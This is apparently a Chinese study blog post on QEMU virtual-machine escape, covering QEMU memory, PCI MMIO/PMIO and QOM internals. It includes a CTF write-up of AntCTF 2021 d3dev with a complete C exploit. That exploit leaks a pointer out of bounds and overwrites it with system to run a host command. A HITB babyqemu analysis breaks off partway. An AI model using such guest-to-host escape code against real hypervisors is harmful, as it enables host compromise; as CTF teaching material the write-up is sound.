qemu逃逸学习

字数统计: 8.9k字   |   阅读时长≈ 45分

逃逸三部曲，qemu学习

qemu基础知识

qemu内存配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
                        Guest' processes
                     +--------------------+
Virtual addr space   |                    |
                     +--------------------+
                     |                    |
                     \__   Page Table     \__
                        \                    \
                         |                    |  Guest kernel
                    +----+--------------------+----------------+
Guest's phy. memory |    |                    |                |
                    +----+--------------------+----------------+
                    |                                          |
                    \__                                        \__
                       \                                          \
                        |             QEMU process                 |
                   +----+------------------------------------------+
Virtual addr space |    |                                          |
                   +----+------------------------------------------+
                   |                                               |
                    \__                Page Table                   \__
                       \                                               \
                        |                                               |
                   +----+-----------------------------------------------++
Physical memory    |    |                                               ||
                   +----+-----------------------------------------------++

地址转换

qemu内存的地址需要经过两次转换，首先是用户态虚拟地址转换为用户态物理地址，随后用户态物理底子好转换为qemu虚拟地址空间。

用户虚拟地址->用户物理地址

用户物理地址->qemu的虚拟地址空间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
7f1824ecf000-7f1828000000 rw-p 00000000 00:00 0
7f1828000000-7f18a8000000 rw-p 00000000 00:00 0         [2 GB of RAM]
7f18a8000000-7f18a8992000 rw-p 00000000 00:00 0
7f18a8992000-7f18ac000000 ---p 00000000 00:00 0
7f18b5016000-7f18b501d000 r-xp 00000000 fd:00 262489    [first shared lib]
7f18b501d000-7f18b521c000 ---p 00007000 fd:00 262489           ...
7f18b521c000-7f18b521d000 r--p 00006000 fd:00 262489           ...
7f18b521d000-7f18b521e000 rw-p 00007000 fd:00 262489           ...

                     ...                                [more shared libs]

7f18bc01c000-7f18bc5f4000 r-xp 00000000 fd:01 30022647  [qemu-system-x86_64]
7f18bc7f3000-7f18bc8c1000 r--p 005d7000 fd:01 30022647         ...
7f18bc8c1000-7f18bc943000 rw-p 006a5000 fd:01 30022647         ...

7f18bd328000-7f18becdd000 rw-p 00000000 00:00 0         [heap]
7ffded947000-7ffded968000 rw-p 00000000 00:00 0         [stack]
7ffded968000-7ffded96a000 r-xp 00000000 00:00 0         [vdso]
7ffded96a000-7ffded96c000 r--p 00000000 00:00 0         [vvar]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

pagemap

/proc/$pid/pagemap存储进程虚拟地址的页表项，也就是page table

VPFN：virtual page frame number，虚拟页号

PFN：page frame number frame number，页号

image

pagemap的格式

  • Bits 0-54 page frame number (PFN) if present
    • Bits 0-4 swap type if swapped
    • Bits 5-54 swap offset if swapped
  • Bit 55 pte is soft-dirty (see Documentation/vm/soft-dirty.txt)
  • Bit 56 page exclusively mapped (since 4.2)
  • Bits 57-60 zero
  • Bit 61 page is file-page or shared-anon (since 3.5)
  • Bit 62 page swapped
  • Bit 63 page present

PCI

符合 PCI 总线标准的设备就被称为 PCI 设备，PCI 总线架构中可以包含多个 PCI 设备。图中的 Audio、LAN 都是一个 PCI 设备。PCI 设备同时也分为主设备和目标设备两种，主设备是一次访问操作的发起者，而目标设备则是被访问者。

image

mmio

内存映射io，和内存共享一个地址空间。可以和像读写内存一样读写其内容。

image

pmio

端口映射io，内存和io设备有各自独立的地址空间，cpu需要通过专门的指令才能去访问。在intel的微处理器中使用的指令是IN和OUT。

image

lspci命令

pci外设地址，形如0000:00:1f.1。第一个部分16位表示域；第二个部分8位表示总线编号；第三个部分5位表示设备号；最后一个部分3位表示功能号。下面是lspci的输出，其中pci设备的地址，在最头部给出，由于pc设备总只有一个0号域，所以会省略域。

image

lspci -v -t会用树状图的形式输出pci设备，会显得更加直观

image

lspci -v就能输出设备的详细信息

image

仔细观察相关的输出，可以从中知道mmio的地址是0xfebf1000，pmio的端口是0xc050。

image

在/sys/bus/pci/devices可以找到每个总线设备相关的一写文件。

image

image

每个设备的目录下resource0 对应MMIO空间。resource1 对应PMIO空间。
resource文件里面会记录相关的数据，第一行就是mimo的信息，从左到右是：起始地址、结束地址、标识位。

QOM(qemu object model)

TypeInfo

TypeInfo定义了一个类，下面代码所示

1
2
3
4
5
6
7
static const TypeInfo strng_info = {
        .name          = "strng",
        .parent        = TYPE_PCI_DEVICE,
        .instance_size = sizeof(STRNGState),
        .instance_init = strng_instance_init,
        .class_init    = strng_class_init,
};

定义中包含这个类的

  • 名称 name
  • 父类 parent
  • 实例的大小 instance_size
  • 是否是抽象类 abstract
  • 初始化函数 class_init

代码底部有type*init函数，可以看到这个函数实际是执行的register\*module_init，由于有__attribute**((constructor))关键字，所以这个函数会在main函数之前执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
type_init(pci_strng_register_types)

#define type_init(function) module_init(function, MODULE_INIT_QOM)

#define module_init(function, type)                                         \
static void __attribute__((constructor)) do_qemu_init_ ## function(void)    \
{                                                                           \
    register_module_init(function, type);                                   \
}
#endif

void register_module_init(void (*fn)(void), module_init_type type)
{
    ModuleEntry *e;
    ModuleTypeList *l;

    e = g_malloc0(sizeof(*e));
    e->init = fn;
    e->type = type;

    l = find_type(type);

    QTAILQ_INSERT_TAIL(l, e, node);
}

这里register_module_init中创建了一个type为MODULE_INIT_QOM，init为pci_strng_register_types的一个 ModuleEntry，并且他加入到MODULE_INIT_QOM的ModuleTypeList链表上。

在main函数中会调用module_call_init(MODULE_INIT_QOM);将MODULE_INIT_QOM)对应的ModuleTypeList上的每个 ModuleEntry都调用其init函数。对于以上的例子来说就会掉用pci_strng_register_types。

1
2
3
4
5
6
7
8
9
10
11
12
static void pci_strng_register_types(void)
{
    static const TypeInfo strng_info = {
        .name          = "strng",
        .parent        = TYPE_PCI_DEVICE,
        .instance_size = sizeof(STRNGState),
        .instance_init = strng_instance_init,
        .class_init    = strng_class_init,
    };

    type_register_static(&strng_info);
}

这里初始化了一个strng_info的TypeInfo，然后掉用type_register_static

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
TypeImpl_0 *__fastcall type_register_static(const TypeInfo_0 *info)
{
  __readfsqword(0x28u);
  __readfsqword(0x28u);
  return type_register(info);
}

TypeImpl_0 *__fastcall type_register(const TypeInfo_0 *info)
{
  TypeImpl_0 *v1; // rbx
  TypeImpl_0 *result; // rax
  unsigned __int64 v3; // [rsp+8h] [rbp-10h]

  v3 = __readfsqword(0x28u);
  if ( !info->parent || (v1 = type_new(info), type_table_add(v1), result = v1, __readfsqword(0x28u) != v3) )
    __assert_fail("info->parent", "/home/rcvalle/qemu/qom/object.c", 0x92u, "type_register");
  return result;
}

可以看到type_register_static掉用了type_register，在type_register中执行了v1 = type_new(info), type_table_add(v1),这部操作。这两个函数分别初根据info初始化了一个TypeImpl对象v1，然后把v1添加到全局的type_table中。

TypeImpl

这个结构是根据TypeInfo来进行创建，各个类之间的继承关系都依赖这个结构，这个结构中还包含了所对应的类的构造和析构函数，还有实例的构造和析构函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
struct TypeImpl
{
    const char *name;

    size_t class_size;

    size_t instance_size;

    void (*class_init)(ObjectClass *klass, void *data);
    void (*class_base_init)(ObjectClass *klass, void *data);
    void (*class_finalize)(ObjectClass *klass, void *data);

    void *class_data;

    void (*instance_init)(Object *obj);
    void (*instance_post_init)(Object *obj);
    void (*instance_finalize)(Object *obj);

    bool abstract;

    const char *parent;
    TypeImpl *parent_type;

    ObjectClass *class;

    int num_interfaces;
    InterfaceImpl interfaces[MAX_INTERFACES];
};

ObjectClass

这是所有class的基类或者说是是所有class的结构，在ObjectClass对象创建时会更具type（TypeImpl）根据类之间的继承关系逐个进行初始化。

1
2
3
4
5
6
7
8
9
10
11
struct ObjectClass
{
    /*< private >*/
    Type type;
    GSList *interfaces;

    const char *object_cast_cache[OBJECT_CLASS_CAST_CACHE];
    const char *class_cast_cache[OBJECT_CLASS_CAST_CACHE];

    ObjectUnparent *unparent;
};

Object

所有object的基类，或者可以说是所有object的结构，他其中会包含指向对应类对象的指针。object会根据class中type的继承关系递归的初始化实例。

1
2
3
4
5
6
7
8
9
struct Object
{
    /*< private >*/
    ObjectClass *class;
    ObjectFree *free;
    QTAILQ_HEAD(, ObjectProperty) properties;
    uint32_t ref;
    Object *parent;
};

制作文件系统

编译busybox

make menuconfig 设置

Busybox Settings -> Build Options -> Build Busybox as a static binary 编译成 静态文件

关闭下面两个选项

Linux System Utilities -> [] Support mounting NFS file system 网络文件系统
Networking Utilities -> [] inetd (Internet超级服务器)

启动qemu

1
2
3
4
/CTF/qemu_escape/qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64 -m 2048 --nographic \
  -kernel /CTF/kernel/linux-4.9/arch/x86_64/boot/bzImage -initrd /CTF/qemu_escape/rootfs.img -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" \
   -netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 \
   -netdev user,id=t1, -device pcnet,netdev=t1,id=nic1 \

退出qemu的终端用ctrl+a+x

AntCTF 2021 d3dev

漏洞分析

直接分析qemu程序，找到其中关于d3dev的PCI设备：

这里首先看一个结构体：d3devState

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
00000000 d3devState      struc ; (sizeof=0x1300, align=0x10, copyof_4545)
00000000 pdev            PCIDevice_0 ?
000008E0 mmio            MemoryRegion_0 ?
000009D0 pmio            MemoryRegion_0 ?
00000AC0 memory_mode     dd ?
00000AC4 seek            dd ?
00000AC8 init_flag       dd ?
00000ACC mmio_read_part  dd ?
00000AD0 mmio_write_part dd ?
00000AD4 r_seed          dd ?
00000AD8 blocks          dq 257 dup(?)
000012E0 key             dd 4 dup(?)
000012F0 rand_r          dq ?                    ; offset
000012F8                 db ? ; undefined
000012F9                 db ? ; undefined
000012FA                 db ? ; undefined
000012FB                 db ? ; undefined
000012FC                 db ? ; undefined
000012FD                 db ? ; undefined
000012FE                 db ? ; undefined
000012FF                 db ? ; undefined
00001300 d3devState      ends

对于该结构体中各个变量的含义，我们结合后续的函数来进一步分析。

这里首先分析d3dev_mmio_read函数，如下所示：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size)
{
  uint64_t block; // rax
  int v4; // esi
  unsigned int block_1; // ecx
  uint64_t result; // rax

  block = opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)];
  v4 = -957401312;
  block_1 = block;
  result = HIDWORD(block);
  do
  {
    LODWORD(result) = result - ((block_1 + v4) ^ (opaque->key[3] + (block_1 >> 5)) ^ (opaque->key[2] + 16 * block_1));
    block_1 -= (result + v4) ^ (opaque->key[1] + ((unsigned int)result >> 5)) ^ (opaque->key[0] + 16 * result);
    v4 += 1640531527;
  }
  while ( v4 );
  if ( opaque->mmio_read_part )
  {
    opaque->mmio_read_part = 0;
    result = (unsigned int)result;
  }
  else
  {
    opaque->mmio_read_part = 1;
    result = block_1;
  }
  return result;
}

该函数首先通过seek和addr来从opaque->blocks中取出block，然后经过tea编码后，返回给用户。

从上面数据结构中，可知block的长度为0x100，而我们这里传入的addr并没有检查范围，所以可以超过0x100，从而发生越界读取。而这里越界之后，可以读取key和rand_r的值。

接着看d3dev_write:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
void __fastcall d3dev_mmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  __int64 offset; // rsi
  ObjectClass_0 **v5; // r11
  uint64_t v6; // rdx
  int v7; // esi
  uint32_t v8; // er10
  uint32_t v9; // er9
  uint32_t v10; // er8
  uint32_t v11; // edi
  unsigned int v12; // ecx
  uint64_t v13; // rax

  if ( size == 4 )
  {
    offset = opaque->seek + (unsigned int)(addr >> 3);
    if ( opaque->mmio_write_part )
    {
      v5 = &opaque->pdev.qdev.parent_obj.class + offset;
      v6 = val << 32;
      v7 = 0;
      opaque->mmio_write_part = 0;
      v8 = opaque->key[0];
      v9 = opaque->key[1];
      v10 = opaque->key[2];
      v11 = opaque->key[3];
      v12 = v6 + *((_DWORD *)v5 + 0x2B6);
      v13 = ((unsigned __int64)v5[0x15B] + v6) >> 32;
      do
      {
        v7 -= 1640531527;
        v12 += (v7 + v13) ^ (v9 + ((unsigned int)v13 >> 5)) ^ (v8 + 16 * v13);
        LODWORD(v13) = ((v7 + v12) ^ (v11 + (v12 >> 5)) ^ (v10 + 16 * v12)) + v13;
      }
      while ( v7 != -957401312 );
      v5[0x15B] = (ObjectClass_0 *)__PAIR64__(v13, v12);
    }
    else
    {
      opaque->mmio_write_part = 1;
      opaque->blocks[offset] = (unsigned int)val;
    }
  }
}

该函数主要是将传入的val赋值给opaque->blocks[offset]。如果是奇数次，则直接赋值。如果是偶数次则先加密再赋值。这里也没有对addr进行范围检查，可以越界写。

1
2
3
4
5
6
7
8
9
10
uint64_t __fastcall d3dev_pmio_read(d3devState *opaque, hwaddr addr, unsigned int size)
{
  uint64_t result; // rax

  if ( addr > 0x18 )
    result = -1LL;
  else
    result = ((__int64 (__fastcall *)(d3devState *))((char *)dword_7ADF30 + dword_7ADF30[addr]))(opaque);
  return result;
}

这里伪代码展示不完整，我们直接看汇编：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
.text:00000000004D7D00 ; uint64_t __fastcall d3dev_pmio_read(d3devState *opaque, hwaddr addr, unsigned int size)
.text:00000000004D7D00 d3dev_pmio_read proc near               ; DATA XREF: .data.rel.ro:d3dev_pmio_ops↓o
.text:00000000004D7D00 addr = rsi                              ; hwaddr
.text:00000000004D7D00 size = rdx                              ; unsigned int
.text:00000000004D7D00 opaque = rdi                            ; void *
.text:00000000004D7D00 ; __unwind {
.text:00000000004D7D00                 endbr64
.text:00000000004D7D04 d3dev = rdi                             ; d3devState *
.text:00000000004D7D04                 cmp     addr, 18h
.text:00000000004D7D08                 ja      short loc_4D7D20
.text:00000000004D7D0A                 lea     size, dword_7ADF30
.text:00000000004D7D11                 movsxd  rax, dword ptr [rdx+addr*4]
.text:00000000004D7D15                 add     rax, rdx
.text:00000000004D7D18                 db      3Eh
.text:00000000004D7D18                 jmp     rax
.text:00000000004D7D18 ; ---------------------------------------------------------------------------
.text:00000000004D7D1B                 align 20h
.text:00000000004D7D20
.text:00000000004D7D20 loc_4D7D20:                             ; CODE XREF: d3dev_pmio_read+8↑j
.text:00000000004D7D20                 mov     rax, 0FFFFFFFFFFFFFFFFh
.text:00000000004D7D27                 retn
.text:00000000004D7D27 d3dev_pmio_read endp
.text:00000000004D7D27
.text:00000000004D7D27 ; ---------------------------------------------------------------------------
.text:00000000004D7D28                 align 10h
.text:00000000004D7D30                 mov     eax, [rdi+12ECh]
.text:00000000004D7D36                 retn
.text:00000000004D7D36 ; ---------------------------------------------------------------------------
.text:00000000004D7D37                 align 20h
.text:00000000004D7D40                 mov     eax, [rdi+0AC0h]
.text:00000000004D7D46                 retn
.text:00000000004D7D46 ; ---------------------------------------------------------------------------
.text:00000000004D7D47                 align 10h
.text:00000000004D7D50                 mov     eax, [rdi+0AC4h]
.text:00000000004D7D56                 retn
.text:00000000004D7D56 ; ---------------------------------------------------------------------------
.text:00000000004D7D57                 align 20h
.text:00000000004D7D60                 mov     eax, [rdi+12E0h]
.text:00000000004D7D66                 retn
.text:00000000004D7D66 ; ---------------------------------------------------------------------------
.text:00000000004D7D67                 align 10h
.text:00000000004D7D70                 mov     eax, [rdi+12E4h]
.text:00000000004D7D76                 retn
.text:00000000004D7D76 ; ---------------------------------------------------------------------------
.text:00000000004D7D77                 align 20h
.text:00000000004D7D80                 mov     eax, [rdi+12E8h]
.text:00000000004D7D86                 retn

d3dev_pmio_read基本功能就是，通过输入不同的addr，会进入不同switch-case。这里就会将opaque->key的四个值进行返回。

d3dev_pmio_write会去调用rand_r函数指针，这个指针存储的是rand函数地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// local variable allocation has failed, the output may be wrong!
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  uint32_t *v4; // rbp

  if ( addr == 8 )
  {
    if ( val <= 0x100 )
      opaque->seek = val;
  }
  else if ( addr > 8 )
  {
    if ( addr == 28 )
    {
      opaque->r_seed = val;
      v4 = opaque->key;
      do
        *v4++ = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)(
                  &opaque->r_seed,
                  28LL,
                  val,
                  *(_QWORD *)&size);
      while ( v4 != (uint32_t *)&opaque->rand_r );
    }
  }
  else if ( addr )
  {
    if ( addr == 4 )
    {
      *(_QWORD *)opaque->key = 0LL;
      *(_QWORD *)&opaque->key[2] = 0LL;
    }
  }
  else
  {
    opaque->memory_mode = val;
  }
}

漏洞利用

程序总体漏洞就是对mmio的越界读取。

地址泄漏

上面提到rand_r存储的是rand函数指针，可以从d3dev_instance_init如下看到：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void __fastcall d3dev_instance_init(Object_0 *obj)
{
  d3devState *v1; // rbx
  unsigned int v2; // eax
  int v3; // eax

  v1 = (d3devState *)object_dynamic_cast_assert(
                       obj,
                       "d3dev",
                       "/home/eqqie/CTF/qemu-escape/qemu-source/qemu-3.1.0/hw/misc/d3dev.c",
                       213,
                       "d3dev_instance_init");
  v1->rand_r = (int (*)(unsigned int *))&rand_r;
  if ( !v1->init_flag )
  {
    v2 = time(0LL);
    srand(v2);
    v1->key[0] = rand();
    v1->key[1] = rand();
    v1->key[2] = rand();
    v3 = rand();
    v1->init_flag = 1;
    v1->key[3] = v3;
  }
}

这里的rand_r函数是位于qemu程序中的函数，我们通过越界读泄漏该地址，那么就可以得到qemu的基址。

越界写

得到了qemu基址后，我们就可以计算得到system函数的地址。

然后通过越界写，修改rand_r存储的函数指针为system。然后去触发system函数。

getshell

这里想实现getshell，可以去执行rand_r函数，并设置参数为cat flag。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
#include <stdio.h>
#include <unistd.h>

unsigned char* mmio_mem;

void Err(char* err){
    printf("Error: %s\n", err);
    exit(-1);
}

void init_pmio(){
    iopl(3);  // 0x3ff 以上端口全部开启访问
}

void init_mmio(){
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
}

void mmio_write(uint32_t addr, uint32_t value){
    *((uint32_t*)mmio_mem+addr) = value;
}

uint64_t mmio_read(uint64_t addr){
    return *((uint64_t*)mmio_mem+addr);
}

/**
 * pmio access
*/

uint32_t pmio_base = 0xc040;
void pmio_write(uint32_t addr, uint32_t value){
    outl(value, pmio_base+addr);
}

uint64_t pmio_read(uint32_t addr){
    return (uint64_t)inl(pmio_base+addr);
}

uint64_t encode(uint32_t high, uint32_t low) {

    uint32_t addr = 0xC6EF3720;

    for (int i = 0; i < 32; ++i) {
        high = high - ((low + addr) ^ (low >> 5) ^ (16 * low));
        low = low - (((high + addr) ^ (high >> 5) ^ (16 * high)));
        addr += 0x61C88647;
    }

    return (uint64_t)high * 0x100000000 + low;
}

uint64_t decode(uint32_t high, uint32_t low) {

    uint32_t addr = 0x0;

    for (int i = 0; i < 32; ++i) {
        addr -= 0x61C88647;
        low += (((high + addr) ^ (high >> 5) ^ (16 * high)));
        high += ((low + addr) ^ (low >> 5) ^ (16 * low));
    }

    return (uint64_t)high * 0x100000000 + low;
}

int main(){
    printf("init pci and mmio:\n");
    init_pmio();
    init_mmio();

    printf("set seek=0x100\n");
    pmio_write(0x8, 0x100);
    printf("set key=0x0\n");
    pmio_write(0x4, 0);

    printf("oob read rand_r\n");
    uint64_t value = mmio_read(24);
    printf("%lx\n", value);

    uint64_t rand_r = decode(value / 0x100000000, value % 0x100000000);
    printf("%lx\n", rand_r);

    size_t system_addr = rand_r + 0xa560;
    printf("system_addr: 0x%llx\n", system_addr);

    uint64_t encode_system = encode(system_addr / 0x100000000, system_addr % 0x100000000);
    printf("%lx\n", encode_system);

    uint32_t es_low  = encode_system % 0x100000000;
    uint32_t es_high = encode_system / 0x100000000;

    printf("oob write\n");
    mmio_write(24, es_low);
    sleep(1);
    mmio_write(24, es_high);

    pmio_write(0x8, 0x0);

    mmio_write(0, 0x67616c66);  // flag
    pmio_write(0x1C, 0x20746163);  // cat

    return 0;
}

HITB GSEC2017 babyqemu

漏洞分析

在init初始化函数中，需要将设备类型定义为PCIDeviceClass结构体，PCIDeviceClass结构体如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
00000000 PCIDeviceClass  struc ; (sizeof=0x108, align=0x8, copyof_1371)
00000000 parent_class    DeviceClass_0 ?
000000C0 realize         dq ?                    ; offset
000000C8 init            dq ?                    ; offset
000000D0 exit            dq ?                    ; offset
000000D8 config_read     dq ?                    ; offset
000000E0 config_write    dq ?                    ; offset
000000E8 vendor_id       dw ?
000000EA device_id       dw ?
000000EC revision        db ?
000000ED                 db ? ; undefined
000000EE class_id        dw ?
000000F0 subsystem_vendor_id dw ?
000000F2 subsystem_id    dw ?
000000F4 is_bridge       dd ?
000000F8 is_express      dd ?
000000FC                 db ? ; undefined
000000FD                 db ? ; undefined
000000FE                 db ? ; undefined
000000FF                 db ? ; undefined
00000100 romfile         dq ?                    ; offset
00000108 PCIDeviceClass  ends

接着我们看一下hitb_class_init函数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void __fastcall hitb_class_init(ObjectClass_0 *a1, void *data)
{
  PCIDeviceClass *v2; // rax

  v2 = (PCIDeviceClass *)object_class_dynamic_cast_assert(
                           a1,
                           (const char *)&stru_64A230.bulk_in_pending[2].data[72],
                           (const char *)&stru_5AB2C8.msi_vectors,
                           469,
                           "hitb_class_init");
  v2->revision = 16;
  v2->class_id = 255;
  v2->realize = pci_hitb_realize;
  v2->exit = pci_hitb_uninit;
  v2->vendor_id = 0x1234;
  v2->device_id = 0x2333;
}

可以看到设备号device_id=0x2333，功能号vendor_id=0x1234。

接着在ubuntu中查看pci的I/O信息，运行sudo ./launch.sh，遇到错误./qemu-system-x86_64: /usr/lib/x86_64-linux-gnu/libcurl.so.4: version CURL_OPENSSL_3' not found (required by ./qemu-system-x86_64)

运行sudo apt-get install libcurl3可以解决

1
2
3
4
5
6
7
8
9
10
11
12
# lspci -v
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:2333 -> hitb

# cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource
0x00000000fea00000 0x00000000feafffff 0x0000000000040200
0x0000000000000000 0x0000000000000000 0x0000000000000000

resource文件内容的格式为start end flag，在resource0文件中，根据最后一位为0可知存在一个MMIO的内存空间，地址为0xfea00000，大小为0x100000。

然后看hitb设备注册了什么函数，分析pci_hitb_realize函数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void __fastcall pci_hitb_realize(PCIDevice_0 *pdev, Error_0 **errp)
{
  pdev->config[61] = 1;
  if ( !msi_init(pdev, 0, 1u, 1, 0, errp) )
  {
    timer_init_tl(
      (QEMUTimer_0 *)&pdev[1].io_regions[4],
      main_loop_tlg.tl[1],
      1000000,
      (QEMUTimerCB *)hitb_dma_timer,
      pdev);
    qemu_mutex_init((QemuMutex_0 *)&pdev[1].io_regions[0].type);
    qemu_cond_init((QemuCond_0 *)&pdev[1].io_regions[1].type);
    qemu_thread_create(
      (QemuThread_0 *)&pdev[1].io_regions[0].size,
      (const char *)&stru_5AB2C8.not_legacy_32bit + 12,
      hitb_fact_thread,
      pdev,
      0);
    memory_region_init_io(
      (MemoryRegion_0 *)&pdev[1],
      &pdev->qdev.parent_obj,
      &hitb_mmio_ops,
      pdev,
      "hitb-mmio",
      0x100000uLL);
    pci_register_bar(pdev, 0, 0, (MemoryRegion_0 *)&pdev[1]);
  }
}

可以看到主要注册了timer结构体，其回调函数为hitb_dma_timer；同时也注册了hitb_mmio_ops内存操作的结构体，其包含hitb_mmio_read和hitb_mmio_write两个操作。

在分析具体处理函数之前，需要先搞懂设备的结构体，如下是HitbState结构体：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
00000000 HitbState       struc ; (sizeof=0x1BD0, align=0x10, copyof_1494)
00000000 pdev            PCIDevice_0 ?
000009F0 mmio            MemoryRegion_0 ?
00000AF0 thread          QemuThread_0 ?
00000AF8 thr_mutex       QemuMutex_0 ?
00000B20 thr_cond        QemuCond_0 ?
00000B50 stopping        db ?
00000B51                 db ? ; undefined
00000B52                 db ? ; undefined
00000B53                 db ? ; undefined
00000B54 addr4           dd ?
00000B58 fact            dd ?
00000B5C status          dd ?
00000B60 irq_status      dd ?
00000B64                 db ? ; undefined
00000B65                 db ? ; undefined
00000B66                 db ? ; undefined
00000B67                 db ? ; undefined
00000B68 dma             dma_state ?
00000B88 dma_timer       QEMUTimer_0 ?
00000BB8 dma_buf         db 4096 dup(?)
00001BB8 enc             dq ?                    ; offset
00001BC0 dma_mask        dq ?
00001BC8                 db ? ; undefined
00001BC9                 db ? ; undefined
00001BCA                 db ? ; undefined
00001BCB                 db ? ; undefined
00001BCC                 db ? ; undefined
00001BCD                 db ? ; undefined
00001BCE                 db ? ; undefined
00001BCF                 db ? ; undefined
00001BD0 HitbState       ends
1
2
3
4
5
6
7
struct dma_state
{
  uint64_t src;
  uint64_t dst;
  uint64_t cnt;
  uint64_t cmd;
};

Hit_mmio_read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
uint64_t __fastcall hitb_mmio_read(HitbState *opaque, hwaddr addr, unsigned int size)
{
  uint64_t result; // rax
  uint64_t val; // [rsp+0h] [rbp-20h]

  result = -1LL;
  if ( size == 4 )
  {
    if ( addr == 0x80 )
      return opaque->dma.src;
    if ( addr > 0x80 )
    {
      if ( addr == 140 )
        return *(dma_addr_t *)((char *)&opaque->dma.dst + 4);
      if ( addr <= 0x8C )
      {
        if ( addr == 132 )
          return *(dma_addr_t *)((char *)&opaque->dma.src + 4);
        if ( addr == 136 )
          return opaque->dma.dst;
      }
      else
      {
        if ( addr == 144 )
          return opaque->dma.cnt;
        if ( addr == 152 )
          return opaque->dma.cmd;
      }
    }
    else
    {
      if ( addr == 8 )
      {
        qemu_mutex_lock(&opaque->thr_mutex);
        val = opaque->fact;
        qemu_mutex_unlock(&opaque->thr_mutex);
        return val;
      }
      if ( addr <= 8 )
      {
        result = 16777453LL;
        if ( !addr )
          return result;
        if ( addr == 4 )
          return opaque->addr4;
      }
      else
      {
        if ( addr == 32 )
          return opaque->status;
        if ( addr == 36 )
          return opaque->irq_status;
      }
    }
    result = -1LL;
  }
  return result;
}

通过设置不同的addr，能够读取HitbState不同的变量。

hitb_mmio_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
void __fastcall hitb_mmio_write(HitbState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  uint32_t v4; // er13
  int v5; // edx
  bool v6; // zf
  int64_t v7; // rax

  if ( (addr > 0x7F || size == 4) && (((size - 4) & 0xFFFFFFFB) == 0 || addr <= 0x7F) )
  {
    if ( addr == 0x80 )
    {
      if ( (opaque->dma.cmd & 1) == 0 )
        opaque->dma.src = val;
    }
    else
    {
      v4 = val;
      if ( addr > 0x80 )
      {
        if ( addr == 0x8C )
        {
          if ( (opaque->dma.cmd & 1) == 0 )
            *(dma_addr_t *)((char *)&opaque->dma.dst + 4) = val;
        }
        else if ( addr > 0x8C )
        {
          if ( addr == 0x90 )
          {
            if ( (opaque->dma.cmd & 1) == 0 )
              opaque->dma.cnt = val;
          }
          else if ( addr == 0x98 && (val & 1) != 0 && (opaque->dma.cmd & 1) == 0 )	//调用hitb_dma_timer函数
          {
            opaque->dma.cmd = val;
            v7 = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL_0);
            timer_mod(&opaque->dma_timer, v7 / 1000000 + 100);
          }
        }
        else if ( addr == 0x84 )
        {
          if ( (opaque->dma.cmd & 1) == 0 )
            *(dma_addr_t *)((char *)&opaque->dma.src + 4) = val;
        }
